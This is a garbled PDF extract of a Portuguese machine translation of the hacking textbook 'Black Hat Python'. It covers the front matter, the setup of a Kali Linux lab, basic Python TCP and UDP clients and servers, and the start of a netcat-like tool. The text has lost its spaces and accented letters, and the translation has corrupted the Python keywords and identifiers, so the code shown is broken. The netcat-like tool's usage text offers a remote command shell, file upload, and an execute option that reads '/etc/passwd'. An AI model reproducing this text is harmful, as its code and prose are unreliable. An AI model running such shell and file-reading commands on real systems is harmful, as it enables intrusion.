Você está na página 1de 114

17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.

graymin

BlackHatPython:ProgramaoPythonpara
HackersePentesters

JustinSeitz

PublicadoporNoStarchPress

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 1/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

paraPat
Emboranuncaconheci,estoueternamentegratoparacadamembrodesuafamliamaravilhosaquemedeu.
CanadianCancerSocietywww.cancer.ca

Sobreoautor
JustinSeitzumpesquisadorsniordeseguranaImmunity,Inc.,ondeelepassasuacaabugtempo,
engenhariareversa,escreverexploits,ecodificaoPython.EleoautordecinzaHatPython,o
primeirolivroparacobrirPythonparaanlisedesegurana.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 2/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

SobreosRevisoresTcnicos
DanFrischtemmaisdedezanosdeexperinciaemseguranadainformao.Atualmente,eleumsniordesegurana
analistaemumaagnciadeaplicaodaleicanadense.Antesqueopapel,eletrabalhoucomoconsultorfornecendo
avaliaesdeseguranaparaasempresasfinanceirasedetecnologianaAmricadoNorte.Porqueeleestobcecadocom
tecnologiaepossuiumafaixapretaterceirograu,vocpodeassumir(corretamente)quetodaasuavidabaseada
emtornoAMatrix.
DesdeosprimeirosdiasdoCommodorePETeVIC20,atecnologiatemsidoumcompanheiroconstante(e
svezesumaobsesso!)paraCliffJanzen.Cliffdescobriusuapaixocarreira,quandoelesemudoupara
seguranadainformaoem2008,apsumadcadadeoperaesdeTI.DuranteosltimosanostemsidoCliff
felizmenteempregadocomoumconsultordesegurana,fazendotudoderevisodapolticadetestesdepenetrao,
eelesesentesortudoporterumacarreiraquetambmoseupassatempofavorito.

Prefcio
Pythonaindaalnguadominantenomundodaseguranadainformao,mesmoseaconversa
cercadeidiomadesuaescolha,porvezes,parecemaisumaguerrareligiosa.ferramentasbaseadasemPythonincluem
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 3/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
todosostiposdefuzzers,proxies,eatmesmooocasionalexplorar.ExploitframeworkscomoCANVAS
soescritosemPythoncomosoferramentasmaisobscuroscomoPyEmuouSulley.
ApenassobrecadafuzzerouexplorartenhoescritotemestadoemPython.Defato,apiratariaautomvel
pesquisaqueChrisValasekeeurealizadarecentementecontinhaumabibliotecaparainjetarmensagensCANsobre
suaredeautomotivausandoPython!
Sevocestinteressadoemmexercomastarefasdeseguranadainformao,Pythonumagrandelinguagemdeaprender
porcausadograndenmerodeengenhariaeexploraobibliotecasreversadisponveisparaseuuso.
Agora,seapenasosdesenvolvedoresMetasploitviriaaseussentidosemudaremRuby,Python,
nossacomunidadeestariamunidos.
Nestenovolivro,Justincobreumagrandevariedadedetpicosqueumjovemhackerempreendedorserianecessrio
parasairdocho.Eleincluiinstruespassoapassodecomolereescreverpacotesderede,como
farejararede,bemcomoqualquercoisaquevocpodeprecisarparaauditoriadeaplicaeswebedeataque.Ele
emseguida,passamergulhodetemposignificativaemcomoescrevercdigoparalidarcomespecificidadesdeatacar
SistemasWindows.Emgeral,PretoHatPythonumaleituradivertida,eenquantoelenopodetransformloemum
Superhackerdegolpecomoeu,certamentepodeajudaracomearnocaminho.Lembrese,a
diferenaentrescriptkiddieseprofissionaisadiferenaentresimplesmenteusandooutra
ferramentasdaspessoaseescreveroseuprprio.
CharlieMiller
St.Louis,Missouri
setembro2014

Prefcio
hackerdePython.Essassoduaspalavrasquevocrealmentepoderiausarparamedescrever.NoImmunity,eutenhosorte
suficienteparatrabalharcompessoasquerealmente,realmente,sabecodificarPython.Eunosouumdaqueles
pessoas.Eupassograndepartedomeutempodetestesdepenetrao,eissoexigeferramentaPythonrpida
desenvolvimento,comfoconaexecuoeentregaderesultados(nonecessariamenteembeleza,
optimization,oumesmoaestabilidade).Aolongodestelivrovocvaiaprenderqueassimqueeucdigo,maseutambm
sintocomosefossepartedoquemeumpentesterfortefaz.Esperoqueestafilosofiaeestilo
ajudaavoctambm.
Comovocprogrideatravsdolivro,voctambmvaiperceberqueeunotomemergulhosprofundosemumnico
tema.Issoocorrepordesign.Euquerodarlheomnimo,comumpoucodesabor,paraquevoctenha
algumconhecimentofundamental.Comissoemmente,eupolvilhadoideiasetrabalhosdecasa
aolongodolivroparaalavancarloemsuaprpriadireo.Encorajovosaaprofundarestasideias,e
Gostariamuitodeouvirdevoltaqualquerumadassuasprpriasimplementaes,asatribuiesdeferramental,oudetrabalhosdecasaque
voctemfeito.
Comoacontececomqualquerlivrotcnico,osleitoresemdiferentesnveisdehabilidadecomoPython(ouaseguranadainformaono
geral)vaiexperimentarestelivrodeformadiferente.Algunsdevocspodemsimplesmenteagarrloeprendercaptulosque
sopertinentesparaumshowdeconsultoriaqueseencontra,enquantooutrospodemllodecapaacapa.euiria
recomendamquesevocumnovatoparaprogramadorPythonintermedirioquevoccomearnoincio
dolivroelloemlinharetaatravsemordem.Vocvaipegaralgunsblocosdeconstruobonsaolongo
ocaminho.
Paracomear,euestabeleceralgunsfundamentosderedenoCaptulo2etrabalharlentamenteonossocaminhoatravs
soquetesbrutosemCaptulo3eusandoscapynoCaptulo4paraalgumasferramentasderedemaisinteressante.
Aprximaseodolivrotratadeaplicaeswebdehacking,comeandocomseuprpriocostume
ferramentalnoCaptulo5edepoisestendendoaSuteArrotarpopularnoCaptulo6.Apartirdavamos
gastamumagrandequantidadedetempoafalardetrojans,comeandocomocomandoGitHubecontroleem
Captulo7,todaamaneiraatravsdoCaptulo10,ondensvaicobriralgumdoWindowsprivilgioescalada
truques.Oltimocaptulosobreousodevolatilidadeparaautomatizaralgumasforensedememriaofensivos
tcnicas.
Eutentomanterasamostrasdecdigocurtoediretoaoponto,eomesmovaleparaasexplicaes.Sevoc
relativamentenovoparaPythonEncorajovosaperfurarcadalinhaparaobteressamemriamusculardecodificao
indo.Todososexemplosdecdigofontedestelivroestodisponveisem
http://nostarch.com/blackhatpython/.
Aquivamosns!

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 4/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Agradecimentos
Eugostariadeagradeceraminhafamliaminhalindaesposa,Clare,emeuscincofilhos,Emily,Carter,
Cohen,Brady,eMasonparatodooincentivoetolernciaenquantoeupasseiumanoe
metadedaminhavidaescrevendoestelivro.Meusirmos,irm,me,pai,ePaulettetambmtmmedadoum
muitamotivaoparacontinuaraempurraratravsdenoimportaoqu.Euamotodosvocs.
ParatodososmeuspessoasnoImmunity(gostariadelistarcadaumdevocsaquiseeutinhaoquarto):obrigadopormetolerar
diariamente.Vocrealmenteumaequipeincrveldesetrabalhar.ParaaequipedaNoStarchTyler,
Bill,Serena,eLeighmuitoobrigadoportodootrabalhoduroquevoccolocouestelivroeoresto
emsuacoleo.Todosnsaprecilo.
Eutambmgostariadeagradeceraosmeusrevisorestcnicos,DanFrischeCliffJanzen.Essescarasdigitadas
ecriticadocadalinhadecdigo,escreveuapoiandocdigo,fezedies,edesdeabsolutamente
incrvelapoiodurantetodooprocesso.Qualquerpessoaqueestescrevendoumlivroinfosecdeverealmente
obteressescarasabordoelesforamsurpreendenteseentoalguns.
Paraorestodevocsrufiesquecompartilhambebe,rieGchats:obrigadopormedeixarirritaregemido
comvocsobreescreverestelivro.

Captulo1.ConfigurandooPython
MeioAmbiente
Esteomenosdivertidomas,noentantocrticapartedolivro,ondenscaminhamosatravsdacriaode
umambienteemqueparaescreveretestarPython.Nsvamosfazerumcursointensivodecriaodeum
mquinadeKaliLinuxvirtual(VM)einstalarumbomIDEparaquevoctenhatudoquevocprecisa
desenvolvercdigo.Atofinaldestecaptulo,vocdeveestarprontoparaenfrentarosexercciosecdigo
exemplosnorestantedolivro.
Antesdecomear,vemfrenteebaixareinstalarVMWarePlayer.[1]Eutambmrecomendoque
voctemalgunsWindowsVMsnopronto,bemcomo,incluindoWindowsXPeWindows7,
deprefernciade32bitsemambososcasos.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 5/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

InstalandoKaliLinux
KaliosucessoradistribuioBackTrackLinux,desenhadoporOffensiveSecurityapartirdo
modocomoumsistemaoperacionaldetestedepenetrao.Elevemcomumasriedeferramentasprinstaladase
baseadonoDebianLinux,entovoctambmvaisercapazdeinstalarumagrandevariedadedeferramentasadicionaise
bibliotecasparaalmdoqueestnoOSparacomear.
Primeiro,pegueumaimagemKaliVMapartirdoseguinteURL:http://images.offensivesecurity.com/kali
linux1.0.9vmi486.7z[2].Baixaredescompactaraimagem,eemseguida,cliqueduploloparafazer
VMWarePlayeraquecla.Onomedeusuriopadroraizeasenhatoor.Istodevedarpara
nomeioambientedetrabalhocompletoKalicomomostradonaFigura11.

Figura11.OdesktopLinuxKali

AprimeiracoisaquevamosfazergarantirqueaversocorretadoPythonestinstalado.Estelivro
vaiusarPython2.7portodaparte.Noshell(AplicativosAcessriosTerminal),executeo
Segue:
root@kali:~#pythonversion
Python2.7.3
root@kali:~#

Sevocbaixouaimagemexataqueeurecomendadoacima,Python2.7serautomaticamente
instalado.Porfavor,notequeousodeumaversodiferentedoPythonpodequebraralgunsdosexemplosdecdigo
nestelivro.Vocfoiavisado.
AgoravamosadicionaralgumaspeasteisdegerenciamentodepacotesPythonsobaformadeeasy_installe
pip.Estessomuitocomoo aptpacotegerente,porqueelespermitemquevocparadiretamenteinstalarPython
bibliotecas,semterquebaixarmanualmente,desempacotareinstallos.Vamosinstalaressesdois
gerenciadoresdepacotes,emitindoosseguintescomandos:
root@kali:~#:aptgetinstalaropythonsetuptoolspythonpip

Quandoospacotessoinstalados,podemosfazerumtesterpidoeinstalaromduloquevamosusarem
Captulo7paraconstruirumbaseadonoGitHubtrojan.Digiteoseguinteemseuterminal:
root@kali:~#:pipinstalargithub3.py

Vocdeveverumasadanoseuterminalindicandoqueabibliotecaestsendobaixadoseinstalados.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 6/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Emseguida,cairemumshellPythonevalidarqueelefoiinstaladocorretamente:
root@kali:~#:python
Python2.7.3(padro,14demarode2014,11:57:14)
[GCC4.7.2]nolinux2
Type"help","copyright","crditos"ou"licena"paramaisinformaes.
>>>Importgithub3
>>>Exit()

Seosresultadosnosoidnticosaestes,emseguida,hum"errodeconfigurao"noseuambientePython
evoctrouxegrandevergonhaparaonossodojoPython!Nestecaso,certifiquesedequevocseguiutodosos
passosacimaequevoctemaversocorretadoKali.
Tenhaemmentequeparaamaioriadosexemplosaolongodestelivro,vocpodedesenvolverseucdigoemumavariedadede
ambientes,incluindoMac,LinuxeWindows.HalgunscaptulosquesoWindows
especfico,eeuvoutercertezadequevocsaibanoinciodocaptulo.
Agoraquetemosanossamquinavirtualhackersconfigurar,vamosinstalarumPythonIDEparaodesenvolvimento.

WingIDE
Enquantoeunormalmentenodefendoprodutosdesoftwarecomerciais,WingIDEomelhorIDEqueeutenho
utilizadonosltimosseteanosnaimunidade.WingIDEfornecetodaafuncionalidadebsicaIDEcomooauto
conclusoeexplicaodosparmetrosdafuno,masasuadepuraorecursossooqueodiferencia
apartirdeoutrosIDEs.VoudarlheumrpidoresumodaversocomercialdoWingIDE,masde
Claroquevocdeveescolherqualquerversomelhorparavoc.[3]
VocpodepegarWingIDEdehttp://www.wingware.com/,eeurecomendoquevocinstaleojulgamentopara
quevocpodeexperimentaremprimeiramoalgumasdasfuncionalidadesdisponveisnaversocomercial.
Vocpodefazeroseudesenvolvimentoemqualquerplataformaquevocdeseja,masquepoderiasermelhorparainstalarWingIDEem
seuKaliVM,pelomenosparacomear.Sevocseguiujuntocomminhasinstrues,atagora,certifiquese
quevocbaixaro32bit.debpacoteparaWingIDE,eguardloparaodiretriodousurio.Ento
cairemumterminaleexecuteoseguinte:
root@kali:~#dpkgiwingide5_5.0.91_i386.deb

EstedeveinstalarWingIDEcomoplanejado.Sevocreceberqualquererrodeinstalao,podehavernoatendida
dependncias.Nestecaso,bastaexecutar:
root@kali:~#aptgetfinstalar

IssodeveresolverquaisquerdependnciasqueestofaltandoeinstalarWingIDE.Paraverificarsevocinstaloulo
corretamente,verifiquesevocpodeacesslo,comomostradonaFigura12.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 7/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura12.AcessandoWingIDEapartirdodesktopKali

FogoatWingIDEeabrirumnovoarquivodePythonembranco.Emseguida,acompanharcomoeudoulheumrpidoresumo
dealgunsrecursosteis.Paracomear,suateladevesersemelhanteaFigura13,comoseucdigoprincipal
readeedionocantosuperioresquerdoeumconjuntodeguiasnaparteinferior.

Figura13.layoutdajanelaprincipalWingIDE

VamosescreverumcdigosimplesparailustraralgumasdasfunesteisdoWingIDE,incluindoa
DebugsondaedadosStackguias.Perfuraroseguintecdigoparaoeditor:
somadef(NUMBER_ONE,NUMBER_TWO):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 8/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
number_one_int=convert_integer(NUMBER_ONE)
number_two_int=convert_integer(NUMBER_TWO)

result=number_one_int+number_two_int

resultadoderetorno

convert_integerdef(number_string):

converted_integer=int(number_string)
converted_integerretorno

answer=sum("1","2")

Esteumexemplomuitoartificial,masumaexcelentedemonstraodecomofazersuavidamaisfcil
comWingIDE.Guardlocomqualquernomedearquivoquevocdeseja,cliquenoDebugitemdemenueselecioneoSelect
CorrentePrincipalDebugarquivocomoopo,comomostradonaFigura14.

Figura14.DefiniroscriptPythonatualparadepurao

Agoradefinirumpontodeinterruponalinhadecdigoquediz:
converted_integerretorno

VocpodefazerissoclicandonamargemesquerdaoupressionandoateclaF9.Vocdeververumpequenopontovermelho
aparecernamargem.AgoraexecuteoscriptpressionandoF5,eexecuodevepararemseupontodeinterrupo.
CliquenapilhadedadosguiaevocdeveverumatelacomoadaFigura15.
OguiaDadosStackvainosmostraralgumasinformaesteis,taiscomooestadodequalquerlocale
variveis
globaisnomomentoemqueonossopontodeinterrupofoiatingido.Istopermitelhedepurarmaisavanado

cdigoondevocprecisainspecionarvariveis
duranteaexecuopararastrearerros.Sevocclicarnodrop

downbar,voctambmpodeverapilhadechamadasatual,quelhedizquefunochamadaafuno
vocestatualmentedentro.TerumolharparaaFigura16paraverorastreamentodepilha.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym 9/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura15.Visualizaodedadospilhaapsumabatidadepontodeinterrupo

Figura16.Exibindoorastreamentodepilhaatual

Podemosverqueconvert_integerfoichamadoapartirdasomadefunonalinha3donossoscriptPython.
Issosetornamuitotilsevoctiverchamadasdefunorecursivaouumafunoquechamadodemuitos
potenciaislocais.UsandoaguiaDadosPilhaviremmuitotilemsuaPythondesenvolvimentodecarreira!
AprximacaractersticaimportanteoseparadordedepuraoProbe.EssaguiapermitequevoccairemumshellPythonque
execuodentrodocontextoatualdomomentoexatoemqueopontodeinterrupofoiatingido.Issopermitequevocinspecione
emodificarvariveis,bemcomofragmentospequenosdeescritadocdigodetesteparaexperimentarnovasideiasoua
solucionarproblemas.Figura17demonstracomoinspecionaroconverted_integervarivelemudana
oseuvalor.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 10/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura17.UsandoDebugProbeparainspecionaremodificarasvariveis
locais

Depoisdefazeralgumasmodificaes,poderetomaraexecuodoscript,pressionandoF5.
Mesmoqueesteumexemplomuitosimples,eledemonstraalgunsdosrecursosmaisteisdo
WingIDEparadesenvolveredepurarscriptsemPython.[4]
tudooqueprecisaparacomearadesenvolverocdigoparaorestodestelivro.Noseesqueasobre
tornandomquinasvirtuaispronto,comomquinasdedestinoparaoscaptulosespecficosdoWindows,masclaro
usandohardwarenativonodeveapresentarquaisquerproblemas.
Agoravamosentraremalgumdivertimentoreal!

[1] VocpodebaixaroVMWarePlayerhttp://www.vmware.com/.

[2] Paraobterumalista"clicvel"doslinksnestecaptulo,visitehttp://nostarch.com/blackhatpython/.

[3] Paraumacomparaoderecursosentreasverses,visitehttps://wingware.com/wingide/features/.

[4] SevocjusaumIDEquetemcaractersticascomparveis
sWingIDE,porfavorenviemeumemailouumtweet,porqueeuadoraria

ouvirsobreisso!

Captulo2.ARede:Basics
Aredeesempreseromaissexyarenaparaumhacker.Umatacantepodefazerquasequalquercoisa
comacessoredesimples,comodigitalizaoparaosanfitries,injetarpacotes,farejardados,remotamenteexploraranfitries,
emuitomais.Massevocumatacantequejtrabalhouseucaminhoparaasprofundezasmaisprofundasdeum
alvodaempresa,vocpodeencontrarseemumpoucodeumdilema:voctemnenhumaferramentaparaexecutarrede
ataques.Semnetcat.NoWireshark.Semcompiladoresemmeiosparainstalarum.Noentanto,vocpodeser
surpresosaodescobrirque,emmuitoscasos,vocencontrarinstalarumPython,edemodoqueondevamoscomear.
EstecaptulovailhedaralgumasnoesbsicassobrePythonredeusandoosoquete[5]mdulo.Aolongode
forma,vamosconstruirclientes,servidoreseumproxyTCPe,emseguida,transformlosemnossoprprionetcat,
completocomshelldecomando.Estecaptuloabaseparaoscaptulossubsequentesemque
vaiconstruirumaferramentadedescobertadehosts,implementarsniffersmultiplataforma,ecriarumtrojanremoto
estrutura.Vamoscomear.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 11/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

NetworkingPythonemumpargrafo
OsprogramadorestmumnmerodeferramentasdeterceirosparacriarservidoresderedeeclientesemPython,
masomdulocentralparatodasessasferramentastomada.Estemduloexpetodasaspeasnecessrias
paraescreverrapidamenteclienteseservidoresTCPeUDP,utilizesocketsraw,eassimpordiante.Paraefeitosde
quebraoumanutenodoacessoamquinasdedestino,estemdulotudoquevocrealmenteprecisa.Vamoscomear
criandoalgunsclientessimpleseservidores,osdoisscriptsrpidosdaredemaiscomunsquevocvaiescrever.

clienteTCP
HouveinmerasvezesduranteostestesdepenetraoqueeunecessriosparachicotearacimadeumclienteTCPpara
testeparaservios,enviardadosdelixo,fuzz,ouqualquernmerodeoutrastarefas.Sevocestivertrabalhandodentrodo
limitesdegrandesambientescorporativos,vocnoteroluxodeferramentasderedesou
compiladores,esvezesvocvaimesmoestarfaltandoosprincpiosabsolutoscomoacapacidadedecopiar/colarou
umaconexocomaInternet.EsteolugarondesercapazdecriarrapidamenteumclienteTCPvememextremamente
calhar.Masjabberingsuficientevamoscomearacodificao.AquiumclienteTCPsimples.
tomadadeimportao

target_host="www.google.com"
target_port=80

#Criarumobjetodesoquete
cliente=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#Conectarocliente
client.connect((target_host,target_port))

#Enviaralgunsdados
client.send("GET/HTTP/1.1\r\nHost:google.comr\n\r\n\")

#Receberalgunsdados
resposta=client.recv(4096)

respostadeimpresso

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 12/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Emprimeirolugar,criarumobjetodesoquetecomoAF_INETeSOCK_STREAMparmetros.oAF_INET
parmetroestdizendoquevamosusarumendereopadroIPv4ounomedohosteSOCK_STREAM
indicaqueesteserumclienteTCP.Emseguida,conectaroclienteparaoservidoreenviloalguns
dados.Oltimopassoreceberalgunsdadosdevoltaeimprimiraresposta.Esteomaissimples
formadeumclienteTCP,masoquevocvaiescrevernamaioriadasvezes.
Notrechodecdigoacima,estamosfazendoalgumashiptesessriassobresoquetesquevocdefinitivamente
querestarciente.Oprimeiropressupostoqueanossaconexosempreterxito,easegunda
queoservidorsemprequeesperamparaenviardadosprimeiro(emoposioaosservidoresqueesperarparaenviar
dadosparavocemprimeirolugareaguardamasuaresposta).Nossaterceirasuposioqueoservidorsempreenvienos
dadosdevoltaemtempohbil.Fazemosessassuposiesemgrandeparteporcausadasimplicidade.Enquanto
programadorestmopiniesvariadassobrecomolidarcomsoquetesdebloqueio,lidarcomexceesno
sockets,eassimpordiante,muitoraroparapentestersparaconstruiressassutilezasnasferramentasrpidasesujo
parareconhecimentoouotrabalhodeexplorao,porissovamosomitilosnestecaptulo.

clienteUDP
UmclientePythonUDPnomuitodiferentedoqueumclienteTCPnsprecisamosfazerapenasduaspequenasalteraes
paraobtloparaenviarpacotesemformaUDP.
tomadadeimportao

target_host="127.0.0.1"
target_port=80

#Criarumobjetodesoquete
cliente=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

#Enviaralgunsdados
client.sendto("aaabbbccc",(target_host,target_port))

#Receberalgunsdados
dedados,endereo=client.recvfrom(4096)

dadosdeimpresso

Comovocpodever,nsalterarotipodesoqueteparaSOCK_DGRAMaocriaroobjetosocket.o
prximopassosimplesmentechamarsendto(),passandoosdadoseoservidorquepretendeenviarosdados
para.ComooUDPumprotocolosemconexo,nohnenhumachamadaparaconnect()deantemo.Oltimo
passochamarrecvfrom()parareceberdadosUDPdevolta.Voctambmvainotarqueeleretornatantoa
dedadoseosdetalhesdohostremotoeporta.
Maisumavez,nsnoestamosolhandoparaserprogramadoresderedesuperioresqueremosserrpido,fcile
confivelosuficienteparalidarcomasnossastarefasdehackersdodiaadia.Vamospassaracriaralgumassimples
servidores.

TCPServer
CriandoservidoresTCPemPythontofcilquantocriarumcliente.Vocpodequererusaroseuprprio
servidorTCPaoescrevershellsdecomandoouaelaboraodeumaproxy(sendoqueambosvamosfazermaistarde).Vamos
comearporcriarumservidorTCPmultiroscapadro.Marchaparaforaocdigoabaixo:
tomadadeimportao
rosqueamentodeimportao

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 13/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
bind_ip ="0.0.0.0"
bind_port=9999

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print"[*]Ouviron%s:%d"%(bind_ip,bind_port)

#Esteonossosegmentodetratamentodecliente
defhandle_client(client_socket):

#Imprimiroqueoclienteenvia
request=client_socket.recv(1024)

print"[*]recebida:%s"pedido%

#Enviardevoltaumpacote
client_socket.send("ACK!")

client_socket.close()

whileTrue:

cliente,addr=server.accept()

print"[*]conexoaceitesapartirde:%s:%d"%(addr[0],addr[1])

#Giraronossosegmentodoclienteparalidarcomdadosdeentrada
client_handler=threading.Thread(target=handle_client,args=(cliente,))
client_handler.start()

Paracomear,nspassamosoendereoIPeaportaquedesejaqueoservidorparaescutarem.Emseguidansdizera
servidorparacomearaouvircomumatrasomximodeconexesdefinidaspara5.Emseguida,colocaroservidor
emseuloopprincipal,ondeeleestesperandoporumaconexodeentrada.Quandoumclienteseconecta,ns
recebersocketoclienteparaoclientevarivel,eosdetalhesdeconexoremotaparaoendereo
varivel.Emseguida,criarumnovoobjetodediscussoqueapontaparaonossohandle_clientfuno,epassamos
queoobjetosocketclientecomoumargumento.Emseguida,iniciarothreadparalidarcomaconexodocliente,
enossoprincipalloopdeservidorestprontoparalidarcomoutraconexodeentrada.Ohandle_client
funoexecutaorecv()e,emseguida,enviaumamensagemsimplesparaocliente.
SevocusaoclienteTCPqueconstrumosanteriormente,vocpodeenviaralgunspacotesdetesteparaoservidorevoc
deveverumasadasemelhanteaoseguinte:
[*]Escutaem0.0.0.0:9999
[*]Conexoaceitesapartirde:127.0.0.1:62512
[*]Recebida:ABCDEF

issoa!Muitosimples,masestaumapeamuitotildecdigoqueseestendernosprximosdois
desecesquandonsconstrumosumsubstitutonetcateumproxyTCP.

substituindoNetcat
Netcatafacadotrabalhoemrede,porissonenhumasurpresaqueosadministradoresdesistemasastutosremover
loapartirdeseussistemas.Emmaisdeumaocasio,eucorreremservidoresquenotmnetcat
instalado,mastenhoPython.Nestescasos,tilparacriarumclientederedesimpleseservidor
quevocpodeusarparaempurrarosarquivos,oudeterumouvintequelhedacessodelinhadecomando.Sevoctiver
quebradanomeiodeumaaplicaoweb,definitivamentevaleapenadeixarcairumachamadaderetornoPythonparalhedar
acessosecundriosemterqueprimeiroqueimarumdeseustrojansoubackdoors.Criaodeumaferramentacomo
estetambmumgrandeexerccioPython,entovamoscomear.
sysimportao
tomadadeimportao
getoptimportao
rosqueamentodeimportao
subprocessimportao


#Definiralgumasvariveis
globais
ouo =False
comando =False
Envio =False
executar =""
alvo =""
upload_destination=""
porta =0

Aqui,estamosapenasaimportaodetodasasnossasbibliotecasnecessriasedefiniralgumasvariveis
globais.No

trabalhopesadoainda.
Agoravamoscriaranossafunoprincipalresponsvelpelotratamentodeargumentosdelinhadecomandoechamandoo
restodenossasfunes.
defuso():
print"FerramentaNetBHP"
impresso
print"Uso:bhpnet.pyttarget_hostpport"
print"llisten Escutarem[host]:[port]para
conexesdeentrada"
print"eexecute=file_to_runexecutaroarquivofornecidoemcima
receberumaligao"
print"ccommand Inicializarumshelldecomando"
print"uupload=destinoaoreceberconexocarregarum
arquivoegravarem[destino]"
impresso
impresso
impresso"Exemplos:"
print"bhpnet.pyt192.168.0.1p5555lc"
print"bhpnet.pyt192.168.0.1p5555lu=c:\\target.exe"
print"bhpnet.pyt192.168.0.1p5555le=\"cat/etc/passwd\""
print"echo'ABCDEFGHI'|./bhpnet.pyt192.168.11.12p135"
sys.exit(0)

defmain():
mundialouvir
portmundial

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 14/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
globaldeexecuo
comandoglobal
upload_destinationmundial
metaglobal

senolen(sys.argv[1:]):
uso()

#Lerasopesdelinhadecomando


experimentar:
opta,args=getopt.getopt(sys.argv[1:]",hle:t:p:cu:",
["Ajuda","ouvir","executar","alvo","port","comando","upload"])
excetogetopt.GetoptErrorcomoerr:
strimpresso(err)
uso()

parao,umaemopta:
Seoin("h","help"):
uso()
elifoin("l","oua"):
oua=True
elifoin("e","execute"):
executarum=
elifoin("c","commandshell"):
comando=true
elifoin("u","upload"):
upload_destination=um
elifoin("t","target"):
target=a
elifoin("p","port"):
porto=int(a)
outro:
afirmamFalse,"Optionnotratada"

#Vamosouvirouapenasenviardadosdestdin?
senoouvirelen(alvo)eport>0:

#Lidonobufferapartirdalinhadecomando
#Istoirbloquear,entoenviarCTRLD,senoenviarentrada
#Parastdin
tamposys.stdin.read=()

#Enviardadosoff
client_sender(buffer)

#Vamosouvirepotencialmente
#Uploaddecoisas,executarcomandos,esoltarumshelldevolta
#Dependendodenossasopesdelinhadecomandoacima
seouvir:
server_loop()

aPrincipal()

Comeamosaleituraemtodasasopesdelinhadecomandoedefinirasvariveis necessrias

dependendodasopesquedetectam.Sequalquerumdosparmetrosdelinhadecomandonocorrespondemaosnossoscritrios,
queimprimirinformaesdeusotil.Noprximoblocodecdigo,estamosatentarimitarnetcat
paralerdadosdestdineenviloatravsdarede.Comoseobserva,sevocplanejaenviardados
interativamente,vocprecisaenviarumCTRLDparaignoraraleiturastdin.Apeafinalondens
detectarqueestamosacriarumsocketdeescutaeprocessaroutroscomandos(uploaddeumarquivo,executarum
comando,inicieumshelldecomando).
Agoravamoscomearacolocarnoencanamentoparaalgumasdestascaractersticas,comeandocomonossocdigodecliente.Adicionar
oseguintecdigoacimadanossaprincipal funo.
